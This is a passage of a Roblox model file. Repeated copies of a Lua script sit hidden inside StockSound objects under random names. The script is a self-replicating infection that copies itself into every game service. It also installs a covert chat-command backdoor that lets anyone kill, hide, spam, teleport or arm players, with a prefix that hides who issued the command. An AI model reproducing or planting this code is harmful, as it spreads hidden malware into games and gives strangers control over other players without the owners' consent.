local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX688">
						<Properties>
							<float name="Health">0</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX689">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">4lqj9k</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX690">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">uh14os6a</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX691">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ug3v</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX692">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">m630g4</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
